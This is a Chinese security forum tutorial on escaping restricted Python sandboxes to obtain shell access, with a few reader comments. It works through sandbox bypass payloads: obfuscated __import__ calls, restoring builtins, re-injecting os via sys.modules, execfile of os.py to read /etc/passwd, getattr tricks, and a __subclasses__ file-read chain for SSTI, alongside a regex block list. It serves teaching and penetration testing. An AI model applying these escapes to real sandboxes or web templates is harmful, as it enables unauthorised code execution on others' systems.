Python沙箱逃逸的n种姿势

centurio / 2017-09-21 04:11:00 / 浏览数 11105 技术文章 技术文章 顶(4) 踩(0)

Python的沙箱逃逸是一些OJ,Quantor网站渗透测试的重要渠道,本篇文章主要从一些语言特性和一些技巧上来讲解python的一些元知识以及如何突破限制达到我们渗透的目

0x00 python沙箱逃逸概述

沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程

对于python的沙箱逃逸而言,我们来实现目的的最终想法有以下几个

- 使用os包中的popen,system两个函数来直接执行shell
- 使用commands模块中的方法
- 使用subprocess
- 使用写文件到指定位置,再使用其他辅助手段
  总体来说,我们使用以下几个函数,就可以直接愉快的拿到shell啦!

```
import os
import subprocess
import commands

# ■■■■shell■■,■ifconfig■■
os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)
```

但是,可以确定的是,防御者是不会这么轻易的让我们直接拿到shell的,肯定会有各种过滤,对代码进行各种各样的检查,来阻止可能的进攻
防御者会怎么做呢

0x01 import相关的基础

对于防御者来说,最基础的思路,就是对代码的内容进行检查
最常见的方法呢,就是禁止引入敏感的包

```
import re
code = open('code.py').read()
pattern  = re.compile('import\s+(os|commands|subprocess|sys)')
match = re.search(pattern,code)
if match:
   print "forbidden module import detected"
   raise Exception
```

用以上的几行代码,就可以简单的完成对于敏感的包的检测

我们知道,要执行shell命令,必须引入 os/commands/subprocess这几个包,
对于攻击者来说,改如何绕过呢,必须使用其他的引入方式

1. import 关键字
2. __import__函数
3. importlib库

import 是一个关键字,因此,包的名字是直接以 'tag'(标记)的方式引入的,但是对于函数和包来说,引入的包的名字就是他们的参数,也就是说,将会以字符串的方式引入
我们可以对原始关键字做出种种处理来bypass掉源码扫描

以__import__函数举例

```
f3ck = __import__("pbzznaqf".decode('rot_13'))
print f3ck.getoutput('ifconfig')
```

```
enp9s0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
       ether f0:xx:1c:xx:xx:71  txqueuelen 1000  (Ethernet)
       RX packets 0  bytes 0 (0.0 B)
       RX errors 0  dropped 0  overruns 0  frame 0
       TX packets 0  bytes 0 (0.0 B)
```

```
       TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
       inet 127.0.0.1  netmask 255.0.0.0
       inet6 ::1  prefixlen 128  scopeid 0x10<host>
       loop  txqueuelen 1  (Local Loopback)
       RX packets 822  bytes 735401 (718.1 KiB)
       RX errors 0  dropped 0  overruns 0  frame 0
       TX packets 822  bytes 735401 (718.1 KiB)
       TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

可以看到,成功的执行了命令

或者使用importlib 这一个库

```
import importlib
f3ck = importlib.import_module("pbzznaqf".decode('rot_13')
print f3ck.getoutput('ifconfig')
```

将获得同样的效果

0x02 import进阶

在python中,我们知道,不用引入直接使用的内置函数称为 builtin 函数,随着__builtin__这一个module 自动被引入到环境中

(在python3.x 版本中,__builtin__变成了builtins,而且需要引入)

因此,open(),int(),chr()这些函数,就相当于

```
__builtin__.open()
__builtin__.int()
__builtin__.chr()
```

如果我们把这些函数从__builtin__中删除,那么就不能够再直接使用了

```
In [6]: del __builtin__.chr

In [7]: chr(1)
---------------------------------------------------------------------------
NameError                                 Traceback (most recent call last)
<ipython-input-7-288f58b79c7d> in <module>()
----> 1 chr(1)

NameError: name 'chr' is not defined
```

同样,刚才的__import__函数,同样也是一个builtin函数,同样,常用的危险函数eval,exec,execfile也是__builtin__的,因此只要从__builtin__中删除这些东西,那么就

但是攻击者岂能善罢甘休,必然会找出各种绕过的方式,这种防御,我们该如何去绕过呢?

我们知道,__builtin__是一个默认引入的module
对于模块,有一个函数reload用于重新从文件系统中的代码来载入模块

因此我们只需要

```
reload(__builtin__)
```

就可以重新得到完整的__builtin__模块了

**但是,reload也是__builtin__下面的函数,如果直接把它干掉,就没办法重新引入了

```
In [8]: del __builtin__.reload

In [9]: reload
---------------------------------------------------------------------------
NameError                                 Traceback (most recent call last)
<ipython-input-9-5da994700066> in <module>()
----> 1 reload

NameError: name 'reload' is not defined
```

这个时候,我们该怎么呢
在python中,有一个模块叫做imp,是有关引入的一个模块
我们可以使用

```
import imp
imp.reload(__builtin__)
```

然后我们就会重新得到完整的__builtin__模块了

0x03 import高级

前面的一些防护和攻击,都是针对
引入函数进行的，然而，彻底想想这个关于import的问题，我们能引入进来一个包，说明这个包已经预先在一个位置了，所以我们才能引入进来，否则就会像没有安装这个

如果我们从某个地方彻底把这个包删除，那就可以禁止了引入

那么，包的内容被存放在哪里呢？

我们知道，通过pip安装的package都会被放在以下几个路径之一,以2.7为例

```
/usr/local/lib/python2.7/dist-packages
/usr/local/lib/python2.7/site-packages
~/.local/lib/python2.7/site-packages
```

一般系统相关的包都在sys下,环境变量或者说系统路径肯定也是在下面.
我们可以看到sys下面有一个list叫做path,查看里面的内容,果然是默认路径

```
In [8]: sys.path
Out[8]:
['',
'/usr/local/bin',
'/usr/lib/python2.7',
'/usr/lib/python2.7/plat-x86_64-linux-gnu',
'/usr/lib/python2.7/lib-tk',
'/usr/lib/python2.7/lib-old',
'/usr/lib/python2.7/lib-dynload',
'/home/centurio/.local/lib/python2.7/site-packages',
'/usr/local/lib/python2.7/dist-packages',
'/usr/lib/python2.7/dist-packages',
'/usr/lib/python2.7/dist-packages/gtk-2.0',
'/usr/lib/python2.7/dist-packages/IPython/extensions']
```

我们还可以看到,sys下面有一个modules,看一下这个

```
{'copy_reg': <module 'copy_reg' from '/usr/lib/python2.7/copy_reg.pyc'>, 'sre_compile': <module 'sre_compile' from '/usr/lib/p
```

果然,这个就是我们要找的东西了,接下来,我们对sys.modules做一些改动,看看还能否引入

```
>>> sys.modules['os']=None
>>> import os
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>
ImportError: No module named os
>>> __import__('os')
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>
ImportError: No module named os
>>> import importlib
>>> importlib.import_module('os')
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>
 File "importlib/__init__.py", line 37, in import_module
   __import__(name)
ImportError: No module named os
```

果然如我们所料,将os从sys.modules中删掉之后,就不能再引入了

那攻击者该如何应对呢?

> Python import 的步骤
> python 所有加载的模块信息都存放在 sys.modules 结构中，当 import 一个模块时，会按如下步骤来进行

如果是 import A，检查 sys.modules 中是否已经有 A，如果有则不加载，如果没有则为 A 创建 module 对象，并加载 A
如果是 from A import B，先为 A 创建 module 对象，再解析A，从中寻找B并填充到 A 的 dict 中

见招拆招,你删掉了,我加回来就是了,如果`sys.modules`中不存在,那么会自动加载,我们把路径字符串放进去试一试?
在所有的类unix系统中,Python的os模块的路径几乎都是`/usr/lib/python2.7/os.py`中

```
>>> import sys
>>> sys.modules['os']='/usr/lib/python2.7/os.py'
>>> import os
>>>
```

果然,我们亲爱的os又回来了!

0x04 有关 import 的更骚的操作

对于0x03中的绕过方法,防御者有什么办法呢
添加module的过程中,是需要用到sys模块的 ,如果我们把sys,os,reload全部干掉,那就无论如何也再无法引入了

这个时候,还有办法bypass掉防御吗?
有的!
我们知道,引入模块的过程,其实总体来说就是把对应模块的代码执行一遍的过程
禁止了引入,我们还是可以执行的,我们知道了对应的路径,我们就可以执行相应的代码
尝试一下:

```
>>> execfile('/usr/lib/python2.7/os.py')
>>> system('cat /etc/passwd')
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
>>> getcwd()
'/usr/lib/python2.7'
```

可以看到,成功了!
os的所有函数都被直接引入到了环境中,直接执行就可以了

如果`execfile`函数被禁止,那么还可以使用文件操作打开相应文件然后读入,使用exec来执行代码就可以

还有防御的办法吗?

如果防御者一不做二不休直接从文件系统中把相应的包的代码删掉,那无论如何既不能引入也不能执行了

然而,对于其他模块,我们还可以手动复制代码直接执行,但是对于类似于 os,sys这样的模块,使用了c模块,使用posix或者nt module来实现,而不是纯python代码,那就没有太多的办法了

但是总体来说,直接从文件系统中干掉这些关键的包是一个很危险的行为,可能导致依赖于这些包的其他包的崩溃,而事实上,大量的模组都使用了类似于os,sys这些模块,因此,是需要非常谨慎的.

0x05 dir 与 __dict__

这两种方法都是一个目的,那就是列出一个模组/类/对象 下面 所有的属性和函数
这在沙盒逃逸中是很有用的,可以找到隐藏在其中的一些东西

```
>>> A.__dict__
mappingproxy({'b': 'asdas', '__dict__': <attribute '__dict__' of 'A' objects>, 'a': 1, '__doc__': None, '__weakref__': <attrib
>>> dir(A)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__',
```

0x05 关于字符串扫描过滤的通用绕过方法

如果过滤的内容是一个dict的key,我们可以用字符串操作,先把他rot13或者base64或者单纯的reverse一下再进去就可以,举个例子

```
# ■■■■■ a■time■■ : a['time'] ,■■■■■■time■■■■■■■■■
s = "emit"
s = s [::-1]
print a[s]
```

即可

但是
,如果不是键的字符串被过滤了,而是一个关键字或者函数被过滤了呢,比如说,我们已经通过上面的手法,引入了os包,但是代码扫描之中,遇到system或者popen的就直接过滤了,
关键词和函数没有办法直接用字符串相关的编码或者解密操作,那么.该怎么办呢?

这个时候,就可以利用一个很特殊的函数:getattr
这个函数接受两个参数,一个模组或者对象,第二个是一个字符串,该函数会在模组或者对象下面的域内搜索有没有对应的函数或者属性

```
>>> import codecs
>>> getattr(os,codecs.encode("flfgrz",'rot13'))('ifconfig')
enp9s0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
       ether xx:xx:xx:xx:xx:xx  txqueuelen 1000  (Ethernet)
       RX packets 168876  bytes 213748060 (203.8 MiB)
       RX errors 0  dropped 538  overruns 0  frame 0
       TX packets 126938  bytes 14769612 (14.0 MiB)
       TX errors 0  dropped 1 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
       inet 127.0.0.1  netmask 255.0.0.0
       inet6 ::1  prefixlen 128  scopeid 0x10<host>
       loop  txqueuelen 1  (Local Loopback)
       RX packets 38391  bytes 17726297 (16.9 MiB)
       RX errors 0  dropped 0  overruns 0  frame 0
       TX packets 38391  bytes 17726297 (16.9 MiB)
       TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

0x06 获得本域或者模块的引用和全部内容

在上面的一个例子中,引入sys然后从sys.modules中清除敏感包的时候,如果没有做善后工作,很可能就让sys,os或者其他的敏感信息作为一个模块留在了当前域的环境变量中

我们可以利用dir或者dict属性去获得一个模块,类的所有属性,但是当前环境的已定义的函数又从哪找呢

我们知道,使用python直接执行的模块是__main__模块,使用__name__属性也可以知道（if __name__ ==
__main__'），但是__name__中获得的只是一个字符串,并不是一个模块的引用，那么我们从哪去找本模块的引用呢？

注意，本模块，它也是一个模块，因此想到我们的老朋友sys.modules
可以通过sys.modules[__name__]

```
>>> main_module = sys.modules[__name__]
>>> dir(main_module)
['A', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', 'codecs', 'fuck', 'inspect', 'main_modul
```

可以看到已定义的全部的函数和变量,已经引入的模块和类

0x07 func_code 相关

一个系统中的包(自带的和通过pip,ea可以使用easy_install安装的),可以使用inspect模块中的方法可以获取其源码

但是,如果是项目中的函数,一旦加载到了内存之中,就不再以源码的形式存在了,而是以字节码的形式存在了,如果我们想要知道这些函数中的一些细节怎么办呢?这个时候就需要

(其实,函数中有很多以func_ 开头的属性,都有着奇妙的用处,在此处就不过多介绍了)

```
In [21]: def f3ck(asd):
   ...:     a = 1
   ...:     b = "asdasd"
   ...:     c= ["asd",1,None,{'1':2}]
   ...:

In [22]: f3ck.func_code
Out[22]: <code object f3ck at 0x7fc34444b930, file "<ipython-input-21-19425d1f6eea>", line 1>
```

我们定义了一个函数,然后查看它的func_code属性,发现 它的类型是 code object ,也就是代码对象
这个对象中有什么呢

```
In [23]: dir(f3ck.func_code)
Out[23]:
['__class__', '__cmp__', '__delattr__','__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__',
```

其中

```
In [24]: f3ck.func_code.co_argcount
Out[24]: 1

In [26]: f3ck.func_code.co_consts
Out[26]: (None, 1, 'asdasd', 'asd', 2, '1')
```

可以看到,函数中直接赋值的变量都在 co_consts属性中
而co_code中则是python bytecode

使用dis.dis可以将co_code中的字节码转化成可阅读的汇编格式字节码,

```
In [30]: import dis

In [31]: dis.dis(f3ck.func_code.co_code)
          0 LOAD_CONST          1 (1)
          3 STORE_FAST          1 (1)
          6 LOAD_CONST          2 (2)
          9 STORE_FAST          2 (2)
         12 LOAD_CONST          3 (3)
         15 LOAD_CONST          1 (1)
         18 LOAD_CONST          0 (0)
         21 BUILD_MAP           1
         24 LOAD_CONST          4 (4)
         27 LOAD_CONST          5 (5)
         30 STORE_MAP
         31 BUILD_LIST          4
         34 STORE_FAST          3 (3)
         37 LOAD_CONST          0 (0)
         40 RETURN_VALUE
```

至于阅读python字节码,那又是一个大坑了0.0,再次不多提,只是说一下它的获取途径

0x08 mro相关的操作

mro是什么呢?
首先,我们要理解python的继承机制,与java等语言不同,python允许多重继承,也就是有多个父类

mro方法就是这个类型所继承的父类的列表

```
In [52]: 1..__class__.__mro__
Out[52]: (float, object)

In [53]: "".__class__.__mro__
Out[53]: (str, basestring, object)
```

(注意是类型,而不是类型的实例)

通过这种方法,我们可以得到一些类型的对象,这个对于一些限制极严的情况下有很大的用处,
比如说open以及其他文件操作的函数和类型被过滤了的情况下我们可以使用如下的方法来打开文件

```
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
```

比如说jinja2的模板中,环境变量中的很多builtin的类型是没有的,就可以用绑定的变量的mro特性做很多事情

0x08 有关python中的伪Private属性和函数

在java,c++等其他一些面向对象的语言中,有着严格的访问权限控制,Private函数是不可能在域外访问的.

python中也有着类似的机制:
在一个类中,以双下划线开头的函数和属性是Private的,但是这种Private并不是真正的,而只是形式上的,用于告诉程序员,这个函数不应该在本类之外的地方进行访问,而是否遵守

```
In [85]: class A():
   ...:     __a = 1
   ...:     b = 2
   ...:     def __c(self):
   ...:         print "asd"
   ...:     def d(self):
   ...:         print 'dsa'
   ...:
```

```
In [86]: A
Out[86]: <class __main__.A at 0x7fc3444048d8>

In [87]: dir(A)
Out[87]: ['_A__a', '_A__c', '__doc__', '__module__', 'b', 'd']
```

我们定义了一个private 属性和一个private的函数,从dir的结果,可以看出来,公有的函数和属性,使用其名字直接进行访问,而私有的属性和函数,使用
■■■+■■+■■■访问即可

0x09 常见的实战应用场景

直接的代码环境

常见的就是各种提供在线代码运行的网站,还有一些虚拟环境,以及一些编程练习网站,这种来说一般过滤较少,很容易渗透,但是getshell之后会相当麻烦,大多数情况下这类网站的

提供的python交互式shell

这种情况较为少见,但是总体来说根据业务场景的不同一般会做很多的限制,但总体来说还是比较容易突破防御的

SSTI

SSTI的情况下,模板的解析就是在一个被限制的环境中的
在flask框架动态拼接模板的时候,使用沙盒逃逸是及其致命的,flask一般直接部署在物理机器上面,getshell可以拿到很大的权限.

上一篇：CVE-2017-12615 To... 下一篇：Tomcat CVE-2017-1...

1. 4 条回复


centurio 2017-09-21 05:20:17

此处的沙箱逃逸 代表的意思是 从一个被阉割和做了严格限制的python执行环境中获取到更高的权限,甚至getshell

0 回复Ta


我想嘿嘿嘿呀 2017-09-21 10:22:56

大神呀！！
我竟然认真的看完了！

0 回复Ta


djoffrey 2017-09-25 09:12:23

经我鉴定，这些方法都绕不开wequant.io的沙箱，别问我为什么知道。

0 回复Ta


围观的白菜哥哥 2019-01-12 20:28:36

老哥你好，请问你有ciscn 2018年的run题目的源码吗？

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板